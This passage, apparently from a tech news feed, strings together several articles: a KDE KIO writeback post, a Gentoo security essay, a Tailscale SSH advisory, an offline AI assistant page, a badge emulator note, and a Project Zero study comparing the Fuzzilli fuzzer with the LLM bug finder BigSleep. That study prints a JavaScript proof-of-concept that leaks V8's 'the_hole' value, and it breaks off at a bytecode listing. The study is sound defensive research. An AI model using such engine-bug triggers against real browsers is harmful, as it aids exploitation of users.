Copies to a USB 2.0 stick, before and after the change. 128 MiB file: the copy reports complete after 0.06 to 0.13 s before, over four runs, and 28.1 s after; the data is on the stick after 68 to 91 s before and 28.1 s after. 3000 files of 16 KiB: complete after 1.2 s before and 183.9 s after; on the stick after 185.2 s before and 183.9 s after. Progress ahead of the stick: 128 MiB before, 3 MiB after.

Yes, the copies now take longer by the clock, but only because the clock now includes the time the stick spends writing. The time until the data is really on the stick did not get worse. The speed of this stick varies a lot from run to run, so the 28 seconds against 68 to 91 seconds for the large file is not a speedup I would count on. The small files never fill a window, so they only depend on the flush at the end.

Which destinations get a window

A local fixed disk does not need any of this, and keeps the current behaviour exactly. With the removable policy forced onto a local disk for testing, the 3000 small files took 1.55 s against 1.54 s before the change.

Deciding what is removable is less obvious than it sounds. The filesystem type does not expose it: exFAT can be a memory card, and FAT is also the EFI partition of your laptop. Most USB disks do not even report removable media. MR 2506 adds a private function to KIO that asks sysfs: the disk's own removable flag, then the USB port or PCIe slot it hangs off, which the kernel marks removable when it can be reached from outside the machine, and SD cards. It follows encrypted and LVM volumes down to the disk under them.

Network filesystems are easier: every mount that KIO already considers slow gets a window. That is NFS and CIFS, but also Ceph, GlusterFS, 9p, sshfs, and FUSE filesystems such as rclone. The worker finds the mount from the mount id of the destination folder, without a round trip to the server.

To measure this, I used KIO's own copy job, comparing KIO master just before the change with KIO master after it, while another thread listed the destination folder every 50 ms. The SMB server ran on the same machine, with 2 ms of delay added to its traffic, and for the slow link a limit of 40 Mbit/s, about 5 MB/s.

On the slow link, the listing is the difference you would feel:

The copy runs about 3% slower with the window. On a fast link, the copy keeps up:

One of the five copies before the change failed with a write error from the share, so these numbers come from four rounds. The times vary between runs: in an earlier run, the copy with the window was 4% slower.

Getting there took me four tries. My first version was 10 to 20% slower on the fast link, because of the CIFS behaviour described above. Then, with the windows aimed at 500 ms, listings on the slow link went up to 4.2 seconds, because each request of a listing waits behind the window being sent. Aiming the windows at 200 ms brought the listings down to 1.7 seconds.

NFS, on the same machine with 2 ms of delay:

The copy times are close: 11% slower in the first round, and slightly faster in the two others.

Part of a frozen Dolphin

Bug 423187 collects many ways in which a slow mount can freeze Dolphin. In one of its comments, Frank Gehann copied a 100 MB file to an SMB share while browsing it, and found two causes: Dolphin's main thread waiting for answers from the share, and folder listings waiting behind the queued upload.

The window helps with the second cause: each request of a listing now waits behind at most two windows, about 400 ms of writeback, and a whole listing took 1.7 seconds on the 5 MB/s link instead of 5 to 11. The statmount() change helps with part of the first one. KFileItem::isSlow() , which Dolphin calls on its main thread before it reads a file to find its type, no longer waits for any server, on Linux 6.8 or later. Work is underway to fix the rest of the first cause in Frank's open MR 2484 and MR 2485 .

The stick that pauses

One measurement sent me down a rabbit hole. During a large copy to the USB stick, listing a folder on the stick sometimes took about 15 seconds, before the change as much as after it. It looked like the writeback window was making something wait.

It was the stick. Roughly every 8 seconds, a single 120 KiB write to it took 4 to 7 seconds to complete, and the listing waited for a page that was stuck behind such a write. KIO cannot fix a device that stops for seconds at a time, but at least we now know the copy is not to blame. In the runs for this post, the slowest listing took 3.6 ms during the copy of the large file, but 7 seconds during the copy of the small files, against 15 seconds before the change.

Copying between two filesystems

One more thing landed along the way, and this one is a plain speedup. In 2021, in Frameworks 5.88, I replaced sendfile() with copy_file_range() in the file worker, in MR 602 . At the time, Linux copied with copy_file_range() across filesystems too. Linux 5.19 changed that back: between two filesystems, the call fails again with EXDEV . Since then, a copy from one filesystem to another went through read() and write() in the worker, one buffer at a time.

MR 2520 now falls back to sendfile() in that case, which copies from one file to another inside the kernel:

Copy of 1 GiB between two filesystems, medians of 5 rounds. tmpfs to ext4: 443 ms before, 272 ms after. ext4 to tmpfs: 531 ms before, 278 ms after.

A copy to the USB stick takes as long as before, because its write speed is the limit. This one is merged too, and will also be in KDE Frameworks 6.32.

Closing

With all this, a copy to a USB stick now finishes when the data is actually on the stick. On network filesystems, the progress now follows what the server has received, and the share stays usable during the copy.

sync_file_range() is mainly used by databases and storage engines. No other file manager that I know of uses it. Now KIO, and so Dolphin, uses it too.

Happy unplugging.

Original Article

A few years back I wrote “The modern packager’s security nightmare” . Have things improved since? On the contrary, I feel like we’re slipping down a well-oiled slope with no end in sight. Vulnerabilities are reported at unprecedented rates. A lot of people are doing everything they can to patch them up, which doesn’t necessarily mean they’re not making things even worse. Complex software involves complex trees of dependencies, and every branch on that tree needs tending to. When they stop being reliable, people further down the tree start taking more weight. And there’s a limit of how much a single person can do, so what started as an effort to resolve an issue upstream may quickly become a weakness.

Is software less secure these days? It’s tempting to say yes. I’d love to blame the corporate sector for egotistically dumping low quality software on us. I’d love to blame marketing-oriented people developing stuff with the sole goal of making a profit. I’d love to blame Rust for getting people obsessed about memory safety, and ignoring the kinds of vulnerabilities that aren’t caught by the compiler. Finally, I’d really love to blame slop. But the truth is, I don’t know. That’s really beside the point.

The point is that nowadays everyone and their chatbot became security researchers. Projects are being flooded with vulnerability reports. Even though pretty much every bug bounty was discontinued because of slop, people aren’t stopping. And even if we disregard truly invalid junk reports, there’s a lot left, and you have to deal with them somehow. You have to figure out how important they are, and how to fix them (or more likely, whether the fixes submitted are truly valid and don’t introduce regressions), or if you should reject them and why.

In the end, security is tricky. We’re seeing lots of bugs like REDoS, or other kinds of “performance bugs”. Are they really vulnerabilities? Well, it depends on the attack vector. And that in turn depends on how the software is used. Some scenarios are really conceived, and feel like “shell can execute dangerous commands if you type them in”. But then, you also have really serious issues such as “timing attack can be used to guess user’s secret”. You need to know a lot to make that kind of judgment, and sometimes your judgment doesn’t really match users’ expectations.

In the end, what can project maintainers do? Even if they have the expertise and the energy to judge, if they can “know better”, there’s likely a CVE assigned already. It may have absurdly high score. All security scanners will complain unless you fix it, and users will come asking or complaining, or attacking, or forking. I mean, technology can’t handle nuances. More than once I’ve been doing unnecessary security stabilizations over vulnerabilities that didn’t affect Gentoo (for example, because we already unbundled the vulnerable dependencies), to avoid false positives from security scanners. I’ve been also doing meaningless version bumps (with no real changes or no changes that applied to Gentoo) so that our packages don’t get reported as being “outdated”. It’s a hassle and it sucks, but it saves people from worrying.

I’ve said this before and I’ll say it again: most projects aren’t really prepared to handle security issues. And it’s not just about triage. It’s about having LTS or security branches, it’s about making proper security releases with minimal changes. Unfortunately, it’s quite common for security fixes to be combined with new features, deprecations, API changes. In extreme cases, people are caught with their metaphorical pants down, and suddenly need to make a security release in the middle of a major rewrite, or along with barely tested new code. And then, people downstream discover that they need to quickly deal with major API changes to upgrade past a vulnerable version. These things keep piling up.

What happens next? The community reaches a breaking point. People can’t keep up. You discover you can’t rely on others, so you work around them. You start bundling more stuff. Soon enough your workload goes beyond your ability. Software development becomes “every chatbot for itself”. The nightmare becomes worse, and the wheel keeps turning.

Tailscale SSH: Investigation and remediation update

Hacker News

Original Article

Published October 26th 2026.

We're investigating security vulnerabilities affecting Tailscale SSH and wanted to share an update on what we've found, what we're doing about it, and what customers should know.

Our engineering and security teams have been investigating the reported issues with help from external security specialists. This builds on work already underway, which we've accelerated to address the findings and prepare fixes.

What we've found

Most of the Tailscale SSH issues we've identified concern privilege escalation. In some circumstances, someone already authorized to connect over Tailscale SSH may be able to perform actions beyond the permissions of their configured local user, including potentially gaining elevated privileges.

These are serious security issues, and we're treating them accordingly.

Exploitation depends on the permissions granted to the connecting user or device, the system's configuration, and other conditions. We're continuing to verify the full scope of the findings and which configurations may be affected.

Based on our current assessment, we're not recommending that everyone disable Tailscale SSH.

Our engineers have implemented fixes for most of the issues identified and are completing testing ahead of a patched client release.

We're targeting a release by the end of Tuesday 27 October , subject to successful completion of testing. We'll update this page when the patched version is available, or if that timeline changes.

We're continuing to review the remaining findings and verify that our changes address the underlying problems.

What customers can do now

While we're preparing the update, we recommend reviewing your Tailscale SSH configuration:

Review SSH access policies. Make sure access is limited to the users and devices that need it.
Disable SSH forwarding if you don't need it. Set TS_SSH_DISABLE_FORWARDING=1 in the tailscaled service environment and restart the service. This disables SSH forwarding without disabling Tailscale SSH entirely, and mitigates several of the more serious findings.
Review access to sensitive systems. Consider temporarily tightening your Tailscale SSH access policies while we investigate, so that only the specific users and devices that need access can connect.
Prepare to update. Apply the patched Tailscale client release when it becomes available.

What happens next

Once the fixes are available, we'll publish a security advisory detailing the confirmed vulnerabilities, affected versions and configurations, their impact, and how to address them. We will link to that here when available.

We'll follow that with a technical blog post explaining the findings, the underlying causes, and the engineering changes we've made, again linked here when published.

If our assessment changes or we identify any additional steps customers need to take, we'll communicate those.

If you have questions about your particular environment, please contact Tailscale Support .

Survival LLM: AI assistant and emergency library that runs on your own computer

Original Article

Survival LLM is a free AI assistant and emergency library that runs entirely on your own computer. Ask it how to keep food safe in a blackout, treat a burn, or purify water, and it answers from trusted sources and shows you exactly where each answer came from.

Free and open source. Set it up while you have internet; after that it needs none.

Survival LLM answering a question about fridge food safety, with the cited Ready.gov article open beside it

What it does

Works with no internet

The AI model and the library live on your computer. Nothing you ask leaves it.

Shows its sources

Every answer lists the articles it read. Click one to read it yourself, with the exact passage highlighted.

Made for emergencies

Medical references, FEMA and CDC guidance, survival manuals, how-to guides, repair guides and about 930,000 Wikipedia articles.

Pick your version

The app is the same everywhere. When it opens, it checks your computer's memory and downloads the AI model that fits. More memory means a smarter model.

Your computer	AI model it uses	Our emergency test	Model download
Mac with 128 GB or more memory	NVIDIA Nemotron 3.5 Super	21 of 22 right	80 GB
Mac with 32–96 GB	Qwen3.8 27B	21 of 22 right	18 GB
Windows PC with 32 GB or more	NVIDIA Nemotron 3.5 Lightning	19 of 22 right	25 GB
Mac or PC with 16–31 GB	IBM Granite 4.2 8B	14 of 22 right	6 GB

"Right" means it got the main point of official guidance right on 22 blackout and first-aid questions, graded blind, in our tests on an earlier build of the library ( how we tested ). Smaller models make more mistakes, so the app always shows the source to check.

Plus the library: a 9 GB download for everything (19 GB once installed), or 1.3 GB (3 GB installed) without Wikipedia and iFixit. Free disk space needed: the model's size plus 5 GB, plus about 27 GB while the full library installs (10 GB for the smaller one). Apple Silicon Macs (M1 or newer) with macOS 14 Sonoma or newer, and 64-bit Windows 10 or 11.

Set it up in three steps

Setup takes 20 minutes to about 2½ hours, depending on your computer and your internet speed. You only click for about 5 minutes; the rest is downloading.

Download Survival LLM for Mac or Windows and unzip it. On Windows, right-click the zip and choose Extract All .
Open it. On a Mac, double-click Survival LLM . On Windows, open the extracted folder and double-click Survival LLM.bat .
Follow the setup. The app opens in its own window and downloads the AI engine (built into the Mac app), the AI model that fits your computer, and the library. Let it finish while you're online.

The first time you open it, your computer warns you, because the app isn't sold through an app store.
Mac: click Done , open System Settings > Privacy & Security , scroll down to "Survival LLM was blocked", click Open Anyway and confirm with your password. You only do this once.
Windows: click More info , then Run anyway .

What's in the library

Plain-text copies of openly licensed (some for non-commercial use only) and public-domain references, searchable in a fraction of a second:

About 930,000 of Wikipedia's most-read articles
WikiMed medical encyclopedia
MedlinePlus (U.S. National Library of Medicine)
UK Medicines A to Z (public sector information)
WikEM emergency medicine
Ready.gov (FEMA) emergency guides

iFixit repair guides
Appropedia (appropriate technology)
Q&A on home repair, cooking, gardening, the outdoors and ham radio (Stack Exchange)

Each source keeps its own license, shown with every article; see the full list with licenses .

Good to know

It can be wrong

AI models make mistakes, the small ones more often. Every answer shows the articles it used, so you can check.

Private

No account, no tracking. Your questions never leave your computer, and once set up it works with the internet off.

Your own files

Add PDFs, Word documents, ebooks and notes, like your generator's manual or your family's emergency plan, and the AI searches them too. They stay on your computer.

Updates

Check for updates, at the bottom of the app, installs a new version in one click and keeps your models, library and files.

Battery

On a MacBook Pro we measured about 100 W while it answers, for 5 to 40 seconds per question: a full battery answers roughly 100 to 300. A small generator or power station runs it easily.

Game Boy Color on My Conference Badge . I'm at GitHub Universe this week and, similar to last year , the conference badge is a full-blown color screen computer.

I've been hacking around with it again, and then I ran into with Steve Francia... who worked with Gemini to get a full NES emulator working on it, and then went a step further and deployed an emulator for both the Game Boy and the Game Boy Color.

Which means, if you can obtain the ROM, you can run The Legend of Zelda: Link's Awakening on your conference badge!

Photo of the badge running Zelda, in full color, with visible touch buttons below the screen.

A neat feature of the badge is that you can turn it upside down and then use game controller touch buttons that are built into the badge body.

Fuzzers vs. AI: Comparing Fuzzilli and BigSleep on JavaScript Engines

Lobsters

Original Article

Summary

Project Zero compared two automated tools used by Google to find vulnerabilities in Chrome’s JavaScript engine, V8, on a regular basis. Fuzzilli is a generative JavaScript engine fuzzer and BigSleep is an LLM-based bug finding system. In the past six months, BigSleep found more vulnerabilities than Fuzzilli (45 versus 37) with a 25% overlap in the specific bugs reported. Since this comparison methodology has a tendency to underestimate overlap, we also performed dedicated experiments to test theoretical overlap in vulnerabilities reported since 2023. These experiments estimated overlap at roughly 60%. Regardless of which value is accurate, a substantial portion of vulnerabilities were discoverable by only LLMs or only fuzzing. While it is extremely promising that LLMs have become able to find so many vulnerabilities so quickly, fuzzing and LLMs are still complementary approaches. We recommend vendors perform both fuzzing and agentic analysis of their code to maximize the number of vulnerabilities that get reported before they impact users.

Introduction

Fuzzing has long been successfully applied to software projects such as Chrome or V8 (Chrome’s JavaScript engine) to detect bugs. Recently, the arrival of powerful LLMs able to read, reason about, and write code is causing a transformative change to software development and software security. With hundreds, sometimes thousands of new bugs and vulnerabilities having been discovered in well-fuzzed targets, a natural question arises: how do new LLMs compare to “traditional” fuzzers? Are they starting to replace them or do the two approaches complement each other? To help answer this, we look at three key questions:

How many bugs does each approach find in the real world?
What is the overlap between the two approaches?
What is the “shape” of bugs discovered by one system but not the other?

For this blog post, we will limit ourselves to two concrete systems: Fuzzilli , a JavaScript engine fuzzer, and BigSleep , an agentic bug finding system. Both of these systems run in production and automatically look for bugs in newly added code, which makes them fairly directly comparable. Specifically, Fuzzilli runs continuously across many instances, with the first ones usually picking up new changes within a few hours, while BigSleep currently runs once per day and is prompted to review new commits and write proof-of-concept testcases for any bugs it discovers. Both systems report bugs through Clusterfuzz , which will do basic crash triaging, then file bug reports in Chrome’s issue tracker.

We also limit ourselves to V8 as a target, a high-performance JavaScript and WebAssembly engine with a sophisticated and mature testing and fuzzing setup. In particular, Fuzzilli is a special-purpose fuzzing tool designed to find bugs in these engines. The usually complicated nature of these bugs makes for an interesting “playground” to compare the two approaches’ ability to find deep and complex bugs in well-tested software. We leave it to future work to perform similar analysis on a broader set of targets, fuzzers, and agentic bug finding systems.

We will now look into each of the three main questions in a dedicated section. Each section will first summarize the general approach, then describe the methodology in detail (often as bullet points, so you can skip those blocks if you don’t care too much about the details) before exploring the results. We conclude with an attempt at interpreting the results to get a picture of the current state of fuzzing vs. AI.

Part 1: Production Statistics

This is the simplest part to analyze, although with some caveats we’ll see in a bit. The basic idea is to query issues from Chromium’s bugtracker (where V8 bugs are tracked) and extract various statistics from there. This is especially easy since there’s a dedicated hotlist for each of the two systems. We limit our analysis to the six months from April to September 2026 as the automatic BigSleep pipeline only became active in April this year. As such, our raw data comes from the following two bug tracker queries:

Fuzzilli: hotlistid:5433121 created:2026-04-01..2026-09-30
BigSleep: hotlistid:8067258 created:2026-04-01..2026-09-30

From there, the raw numbers of bug reports are:

Fuzzilli: 316
BigSleep: 441

Small win for BigSleep. However, this includes all types of bugs, and BigSleep initially also found a lot of configuration and integration issues in V8, for example crbug.com/503869331 where the unsafe flag blocking mechanism didn’t work properly yet. These are legitimate issues, but less relevant for our comparison since there’s little real-world security impact. One easy way to get rid of these is to look specifically at vulnerabilities by limiting the results to type:vulnerability :

Fuzzilli: 178
BigSleep: 95

Suddenly a clear win for the fuzzers? Not quite. There are still some problems with this data, notably duplicates and unactionable reports (e.g. bugs closed as WAI ). At first, this seems like a simple thing to fix: just include another constraint such as status:(fixed | verified) . Unfortunately, things are a bit more complicated. Take for example Fuzzilli bug crbug.com/511935486 . The events on this bug are basically:

The bug is filed by Clusterfuzz on May 11 and assigned to an engineer
The bug is closed by Clusterfuzz as the testcase no longer reproduces later that same day

As such, this bug received zero developer interactions. Most likely what happened here is that this bug was a duplicate of another bug, crbug.com/511210507 , but Clusterfuzz didn’t realize it as the crash signature (derived from the stack trace) was slightly different. When the other bug received a fix, the testcase stopped reproducing on Clusterfuzz, which closed the issue.

Maybe the best thing we can do is to look at “actionable” bugs, defined as those that are not marked as duplicates or WAI and that received at least one fix commit referencing them. Then, looking at only Type-Vuln bugs filters out a lot of the less-relevant BigSleep bugs, even though these were “actionable”. With that, the final picture looks like this:

So in terms of vulnerabilities, it’s roughly a tie (small advantage BigSleep) at the moment: 45 vs. 37.

This naturally raises the question of cost: how expensive is each of the two approaches and what does that mean in terms of cost-per-bug? Unfortunately, it’s challenging to make a comparison at this stage in the research. While some effort has been dedicated to making Clusterfuzz more efficient, similar effort has not been expended for Big Sleep and neither system is particularly calibrated for an optimal cost-per-bug ratio.

Part 2: Overlap

The next question is how much these approaches overlap each other. For this, our approach is twofold: we first attempt to find an answer in the bugtracker, by trying to identify bugs discovered by both systems. Next, we run a dedicated experiment in which we let BigSleep try to rediscover old Fuzzilli bugs.

Bugtracker Overlap

The basic idea is to see which bugs were found by both systems, so we’re effectively looking for duplicate bug reports. Similar to part 1, there are a few steps we need to take to ensure we get a somewhat accurate picture:

First, we look for bugs filed by one system that get deduplicated into a bug filed by the other. For example crbug.com/522410841 which is a duplicate of crbug.com/522860268 . This is a clear overlap.
Next, we need to take into account that many “unactionable” reports (those with zero associated fixes) are often duplicates. For those reports, we need to find the commit that fixed them, then look at the bug associated with that commit, and treat these two bugs as duplicates. This can be a multi-prong relationship: both bug X found by BigSleep and bug Y found by Fuzzilli might be a duplicate of bug Z reported by someone/something else. In that case, that bug still counts as overlap.
Then, we need to realize that many duplicates never receive a bugtracker entry since they are already deduplicated at the Clusterfuzz level (since both Fuzzilli and BigSleep rely on Clusterfuzz for basic triage and bug filing). As such, we need to query Clusterfuzz’s underlying database to find more duplicates.
Finally, we need to decide what to do with separate bugs that get fixed by the same CL, for example the four bugs fixed by crrev.com/c/7965120 . While this can legitimately happen for distinct bugs, it’s probably more likely for the bugs to be duplicates (such as in this case), and so we count them as such.

With all the different types of deduplication, we get this final picture:

Again, looking at just the actionable vulnerability reports (likely the best measure), we see an overlap of roughly 25% (20 out of a total of 81), with a slight majority of these found first by Fuzzilli and later by BigSleep.

Overlap Experiment

The second way to measure the overlap is to run a dedicated experiment in which we try to re-discover bugs found by one system in the past using the other. Specifically, here we try to re-discover old Fuzzilli bugs using a BigSleep setup that’s as close to the production configuration as possible. For each bug we collect the commit that (likely) introduced the bug, and ask the agent to review those changes just as in the production CI environment. Note that the other direction, trying to rediscover past BigSleep bugs with Fuzzilli is more difficult to set up, since fuzzers cannot easily be given a similar “starting point”. Moreover, for many of these bugs we already know the outcome of such an experiment: the majority of “historic” BigSleep bugs (e.g. those from 2025 ) were found after fuzzers like Fuzzilli had already been fuzzing vulnerable builds for months, sometimes years. So they would most likely also not rediscover them in an experiment (except perhaps in a few cases where Fuzzilli was since updated to support new language features). Similarly, in production, BigSleep only reports crashes with a delay of 1-2 days (as there’s currently only one run per day). As such, fuzzers also get a head-start there.

In more detail, here is how the experiment is set up:

We start with a list of historic Fuzzilli bugs (from early 2023 until mid-2026) by querying the bug tracker hotlist. This gives us around 1150 raw bugs .
We restrict this to only type:vulnerability as these are the types of bugs we care most about and will remove some “noise” as above. We are left with roughly 600 vulnerabilities.
Next, we filter this list down to bugs that reproduce in the environment used by the agent. This involves two parts:
- Bugs that reproduce on an x64 debug+asan build of the d8 shell as provided by Chrome’s public build infrastructure . This is important because many bugs only reproduce in special builds, for example because they are architecture-specific or need certain compile-time features.
- Bugs that can be reproduced without special flags. The problem here is that fuzzers often set custom flags, either to enable in-development features (e.g. --experimental-wasm-jspi in crbug.com/361123483 ) or to turn on different fuzzing modes that make certain types of bugs easier to discover (e.g. --deopt-every-n-times in crbug.com/362784006 ). However, we can’t let the agent set arbitrary flags on historic V8 builds as these didn’t have a “safe-flags only” mode (leading to many false-positive crashes), and we also don’t want to tell the agent which flags it should use for a given challenge as that would be a hint. As such, for simplicity we limit ourselves to bugs that can reproduce with a standard set of flags ( --fuzzing , --jit-fuzzing , --expose-gc ) and only allow the agent to set those.
We end up with 132 historic bugs.
We now perform some deduplication similar to what we did above to identify implicit duplicates, which we remove. This leaves us with a final number of 112 bugs.
For a realistic comparison, we then convert these bugs into “code review challenges” similar to the ones used by the production BigSleep pipeline. For that, we try to identify the commit that (likely) introduced the bug, for example based on bisection. We note that this skews the comparison against BigSleep for two reasons:
- We likely sometimes identify the wrong commit that is unrelated to the bug in question, making the task harder or even impossible.
- We only have one commit per bug, while in the real world, the agent might discover the bug from another, subsequent commit that touches a similar part of the codebase.
We now run the agent for 25 attempts on each commit. The agent is asked to find bugs related to the commit and prove their existence by writing a testcase that crashes the vulnerable build. The attempt is terminated once a crash is found, so each attempt can report at most one bug. We use essentially the same configuration that was used in production BigSleep at that time, including the same underlying model: Gemini 3.6 flash .
Finally, we run some post-processing on the results to check if the agent found the “right” bug or an unrelated one. For that, we check that the testcase crashes the pre-fix revision but not the post-fix revision. This is imperfect but fairly easy to implement.

Here are the results from the experiment:

Starting from just the commits that (likely) introduced the bugs, BigSleep was able to re-discover ~62% of the original bugs, while finding a different (but by now fixed) bug for another ~12% of commits. On around 26% of the commits it failed to find any bugs.

Memorization

One thing to worry about with experiments such as this one is memorization: the LLM remembering specific bugs from its (pre-)training data and as such having an easier time “re-discovering” them during evaluation. We can try to get some idea of the effect of this by looking at the success rates for bugs from different time spans, e.g. every half-year period for which we have bugs in the data set. If there was memorization, we’d expect higher success rates (both for a single attempt and for the combined run) on bugs prior to the learning data cutoff of the model. Here are the results for our experiment:

For the model used in this experiment (Gemini 3.6 flash), the knowledge cutoff date is March 2026 . Combining that with the fact that in early 2026, Chrome bugs would only become publicly visible after ~3 months, the effective knowledge cutoff for Fuzzilli bugs should be around Jan 2026. Looking at the data, there seems to be no statistically significant amount of memorization pre-2026. We note, however, that this may be different for other models or future model generations and as such recommend that this be re-evaluated for similar experiments in the future.

Difficulty

A follow-up question we might ask is how the overlap compares with “difficulty”. For example, in the best case a system like BigSleep would easily find issues that fuzzers struggle with and vice versa. In that case, budget that was previously spent on long fuzzing sessions may now be re-allocated and put to different uses. Here are the results of analysing this, where “bug difficulty” is measured by the time it took Fuzzilli to discover the bug:

While we do get a statistically significant result here (although not of particularly great magnitude), it actually points in the other direction! Bugs that are hard to find for a fuzzer are likely also hard to find for an AI agent. As such, those fuzzers should probably be kept running for now.

Components

Another thing we can look at is a per-component breakdown of the bugs and their rediscovery rates:

Interestingly, the overlap is significantly smaller for compiler bugs. This is the area where Fuzzilli probably specializes most in, which may explain the results. Later on (in part 3), we’ll also develop another hypothesis for why (some) bugs in the compilers may be more difficult to rediscover for BigSleep.

Prompting

A final question is how much the specific prompting played a role in the performance of the AI agent. For that, we run two quick follow-up experiments, only on the bugs that weren’t previously re-discovered and with different prompts:

Instead of starting from commits, we start from the vulnerable file or function. This may be an easier starting point but is still a fairly realistic setup since both can for example be obtained by extracting modified files and functions from a given commit.
Instead of asking the agent to find memory corruption vulnerabilities (what we care most about), we specifically tell it that assertion failures and similar crashes are also desirable.

Running these two experiments with only 5 attempts per bug (instead of the 25 used in the main experiment), the agent re-discovered 10 additional bugs in total: 8 from the different starting points and 7 with the rephrased prompt (with 5 found in both runs).

In total, combining these results with our original experiment, we get the following picture:

So the share of “correct” bugs found climbs to ~70%, and we find some kind of bug for ~84% of starting points. However, for fairness it should be noted that equivalent tweaks to a fuzzer could likely also result in higher discovery rates for certain bugs, so the results of this follow-up experiment should be treated with some caution.

Summary

The main results from our two angles are:

In production, the overlap is noticeable but not substantial at around 25%.
In our experiment, overlap was around 60% of historic Fuzzilli bugs (70% with additional runs that used different prompts).
The overlap is not uniformly distributed:
1. Bugs that are difficult for a fuzzer to find are more likely to also be difficult to find for an agent, so there’s more overlap on “easy” bugs.
2. The overlap seems to be smaller in the JIT Compilers and higher in the rest of the engine.

From just the experiment, we might expect a higher overlap in production. However, there are probably a few factors that prevent(ed) this:

There’s a limited time window for overlaps: once a bug reported by either system is fixed, the other system no longer has a chance to rediscover it (as the bug won’t reproduce on Clusterfuzz and will therefore be discarded).
Our experiment only looked at a subset of Fuzzilli bugs that reproduce on a standard x64 d8 fuzzer build and without special flags. In production, each system has access to slightly different and specialized builds, as well as different runtime flag constraints, and there the overlap is potentially smaller.
Pipeline hiccups such as overloaded servers or bugs in the automation likely prevented a number of commits from being reviewed by BigSleep in the last months, so bugs introduced by them may have been missed.
Since its introduction in April, the model underlying the BigSleep pipeline has been upgraded multiple times. Earlier models likely performed worse, and we expect future models to perform better.

Part 3: Shape of Bugs

In this section, we will first look at three case studies of bugs found by one system but not the other, then attempt to draw conclusions from these and other bugs.

BigSleep: Chrome Bug 449760249 (October 2025)

This bug is a nice example of BigSleep benefiting from the underlying model’s reasoning capabilities to discover a variant that was (likely) too complex to trigger by a fuzzer in a reasonable amount of time. It’s also a good example to show the general working of an agentic bug finding system.

Background: TDZ and Hole Check Elision

Before diving into the bug specifics, we first need to look at some JavaScript internals, specifically variable initialization. In JavaScript, variables declared with the let or const keywords cannot be used before they are initialized, and attempting to do so will lead to an exception ( ”ReferenceError: Cannot access 'foobar' before initialization” ). In V8’s terminology, these variables reside in a “temporal dead zone” (TDZ) until they are initialized. Internally, V8 sets variables in the TDZ to a special sentinel value, the_hole , and then checks for this value when accessing the variable’s content.

To limit the performance impact of these hole-checks, V8’s bytecode compiler implements an optimization (behind the default-enabled --ignition-elide-redundant-tdz-checks flag ) to identify redundant checks and subsequently remove them. The idea here is to identify “dominating” checks where it can then be guaranteed that a hole-check has already been performed for a given variable on all possible paths leading to the current position.

This is a security-relevant optimization as an incorrectly removed hole-check would result in the internal the_hole value leaking to JavaScript code, a condition that has historically been exploitable (although new mitigations for this bug class have since shipped).

The Original Vulnerability

The original bug ( issue 40071027 - discovered two years earlier by Fuzzilli!) involved do-while loops containing a break statement. In a do-while loop, the loop condition evaluates after the body. If the condition contains an assignment to a variable, the bytecode compiler will mark the variable as initialized. However, if a break statement executes in the loop body in the first iteration, then the condition will never execute. The bytecode compiler originally failed to account for this, leading to an incorrectly omitted hole check and subsequent leak of the_hole value.

To fix this, the implementation of BytecodeGenerator::VisitDoWhileStatement was modified in the following way:

- VisitForTest(stmt->cond(), ...);
+ if (!loop_builder.break_labels()->empty()) {
+   HoleCheckElisionScope elider(this);
+   VisitForTest(stmt->cond(), ...);
+ } else {
+   VisitForTest(stmt->cond(), ...);
+ }

Specifically, the patch works by creating a HoleCheckElisionScope for processing the condition code in case the loop contains break statements. This means that any updates to the TDZ state of variables will be discarded once the scope object is destroyed. As such, code after the loop will see the previous TDZ state (which is the correct behavior in this case).

Discovery of the Variant

The BigSleep agent began its analysis by examining the patch to VisitDoWhileStatement , realizing that the fix relied on loop_builder.break_labels()->empty() to decide if a protective HoleCheckElisionScope was required. It then began creating and testing various hypotheses for scenarios in which no break statement was registered with a given loop but the condition would still be skipped at runtime. For example, it hypothesized that a try-catch in combination with a throw inside the loop might confuse the hole-check elision logic. It then investigated how try-catch was implemented in the bytecode compiler and concluded that this was handled correctly.

Eventually, the agent started investigating labeled breaks , which allow directly breaking out of inner loops. It hypothesized that these might not be handled correctly and continued to investigate how these were being processed, for example by studying the logic in BytecodeGenerator::VisitBreakStatement . This time, it seemed to have identified a real flaw: in the case of nested breaks, the inner loop was apparently not being informed of the existence of a break statement! It therefore formulated the following vulnerability hypothesis:

If a labeled break inside a do-while loop targets an outer scope, the inner do-while loop’s LoopBuilder is not notified.
Consequently, loop_builder.break_labels()->empty() remains true .
Therefore, when generating the code for the loop condition, the HoleCheckElisionScope introduced by the patch is not used.
The condition is bypassed at runtime, but the bytecode compiler erroneously removed a later hole-check, leading to a leak of the_hole to JavaScript.

The agent then began writing a testcase to prove the existence of this bug. The initial attempt with simply two nested loops and a label failed, however, as the bytecode compiler would add another protective scope object for the labeled block . To work around this, the agent decided to use a switch statement. When handling a switch statement, the bytecode compiler uses a HoleCheckElisionMergeScope to compute the intersection of initialization states across all branches. By ensuring that the variable was initialized in a default case, the merge logic then concluded that the variable was correctly initialized on all paths.

Proof of Concept

With that, the agent had everything in place to produce a testcase to demonstrate the vulnerability. Below is the agent’s PoC:

// Flags: --ignition-elide-redundant-tdz-checks
function trigger(cond) {
  {
    target: switch(1) {
      case 1:
        do {
          // Labeled break targeting the switch. The do-while LoopBuilder remains unaware.
          if (cond) break target;
        } while((x=1) && false); // Condition performs a check/assignment on x.
        break;
      default:
        x=1; // Ensure x is considered initialized across all switch branches for merging.
    }
    // Generator incorrectly believes x is checked/initialized. Elides TDZ check.
    x + 1;
    let x;
  }
 }
 trigger(true);

Here is how this testcase works:

trigger(true) executes, entering case 1 of the switch .
The do-while loop executes break target .
Control flow jumps to the end of the switch , bypassing the do-while condition where x is assigned.
At runtime, x remains uninitialized (holding the_hole ).
Because the TDZ check was elided at compile time, the engine leaks the internal the_hole value to JavaScript code in the x + 1 expression, leading to a potentially exploitable condition.

We can see how this bug would be difficult for a fuzzer to find since the testcase is quite complex. While a coverage-guided fuzzer would have received rewards for triggering individual code paths (such as the handling of labeled break, the switch statement, the do-while loop, etc. in the parser), there is no additional reward for putting these together “in the right way” and so ending up with a testcase like this is quite difficult.

BigSleep: Chrome Bug 443765373 (September 2025)

This bug is an example of a relatively simple bug type that is challenging to discover with standard fuzzing approaches.

Background: Exception handling in V8

To understand this bug, it is necessary to briefly look into exception handling in V8. Take the following example JavaScript code:

function simple() {
  try {
    throw 42;
  } catch (e) {
    return e;
  }
}

Here, we have a function consisting of a try-catch block in which an exception is raised. Running this in d8 with --print-bytecode , we can see the internal bytecode that the engine generates to execute the JavaScript code:

[generated bytecode for function: simple]
